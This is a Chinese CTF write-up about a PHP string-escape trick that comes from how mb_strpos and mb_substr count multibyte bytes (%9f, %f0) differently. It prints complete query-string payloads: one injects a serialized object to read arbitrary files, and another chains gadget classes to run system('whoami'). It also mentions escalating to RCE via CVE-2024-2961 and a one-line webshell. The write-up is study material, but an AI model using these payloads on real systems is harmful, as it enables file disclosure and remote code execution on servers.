PHP由mb_strpos与mb_substr执行差异导致的小trick
前言
这个其实不算啥大洞,主要是我遇到两次了,第一次是在黄河流域做那个题的时候,还有一次是ctfshow西瓜杯的题,做到了gxngxngxn师傅出的套皮。
就以这道ezphp入手吧。
分析&EXP
一看传参传个gxngxngxn就能读/etc/passwd,事实也的确如此。
但是我们显然是要做到打这个反序列化做到任意文件读取,也没给你套链子,就直接传参就行,可以看到它下面还套了一个substrstr()。
这里mb_strpos与mb_substr就值得说道说道了。
我们自己搭一个php看看,借用黄河流域那道php的源码:
这里就不卖关子了,%9f可以造成字符串往后移动一位,因为它不解析,%f0可以把字符串吞掉三位:
由此我们可以用这两个玩意进行任意字符串构造:
%9f:只需要%9f数量等于要构造的字符串长度:
%f0:使用随便三个长度字符紧跟%f0之后,同时结合%9f的后移,达到字符串逃逸:
回到题目,这里由于忽略了[],所以在逃逸的时候需要添加一个%9f以此来抵消 [ 的影响
同时我们逃逸出的字符不能大于原来的字符数量,所以我们可以传参start来增加原字符的数量,以此逃逸出足够的字符。
所以可以构造出
start=aaaaaaaaaaaaaaa&read=%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9fO:9:"read_file":2:{s:5:"start";s:9:"gxngxngxn";s:8:"filename";s:10:"/etc/hosts";}
实现任意文件读取,这里的%9f数量即为后面字符串的长度+1。
那么接下来就是LFI to RCE了,自然而然想到我前面研究的那个CVE-2024-2961,改一下发包逻辑和回显检测逻辑就OK:
这里试过反弹shell,但是很鸡肋,反弹成功了用不了命令。所以直接写一句话木马:
这里不RCE是不能读到flag的:
参考:
黄河流域挑战赛WEB部分-gxngxngxn - gxngxngxn - 博客园 (cnblogs.com)
Joomla: PHP Bug Introduces Multiple XSS Vulnerabilities | Sonar (sonarsource.com)
------------------------------------------
发现basectf也有个这个,怎么都开始玩这个了?
官方wp解释的也可以,看看吧:
每发送一个%f0abc,mb_strpos认为是4个字节,mb_substr认为是1个字节,相差3个字节每发送一个%f0%9fab,mb_strpos认为是3个字节,mb_substr认为是1个字节,相差2个字节每发送一个%f0%9f%9fa,mb_strpos认为是2个字节,mb_substr认为是1个字节,相差1个字节
serialize($ctf)
,得到O:6:"Hacker":3:{s:5:"start";s:218:"{{{a:2:{i:1;O:6:"Hacker":3:{s:5:"start";O:1:"C":1:{s:1:"c";O:1:"T":1:{s:1:"t";O:1:"F":1:{s:1:"f";O:1:"E":1:{s:1:"e";O:1:"R":1:{s:1:"r";s:17:"system("whoami");";}}}}}s:3:"end";s:6:"hacker";s:8:"username";R:9;}i:1;N;}}}}";s:3:"end";N;s:8:"username";s:6:"hacker";}
O:6:"Hacker":3:{s:5:"start";s:218:"{{{
这部分并不是我们需要的,必须截掉,因此传入substr=%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0%9fab
?substr=%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0%9fab&ez[ser.from_you=a:2:{i:1;O:6:"Hacker":3:{s:5:"start";O:1:"C":1:{s:1:"c";O:1:"T":1:{s:1:"t";O:1:"F":1:{s:1:"f";O:1:"E":1:{s:1:"e";O:1:"R":1:{s:1:"r";s:17:"system("whoami");";}}}}}s:3:"end";s:6:"hacker";s:8:"username";R:9;}i:1;N;}
whoami
命令。后言
最后提一嘴,估计这是我在博客园最后的blog了,博客园都要似了,害怕我写了那么多东西都死在服务器里,也很感谢博客园里大家的陪伴,博客迁移搞好了会贴出来的。同时博客园这个平台也很干净很纯粹,很喜欢,所以作为我第一次写blog的地方。
接下来呢,就还是将一些后续想做想学习的东西和一些有价值的搬到新blog里。
然后过两天就是国赛Final了,祝我成功吧,江湖再会!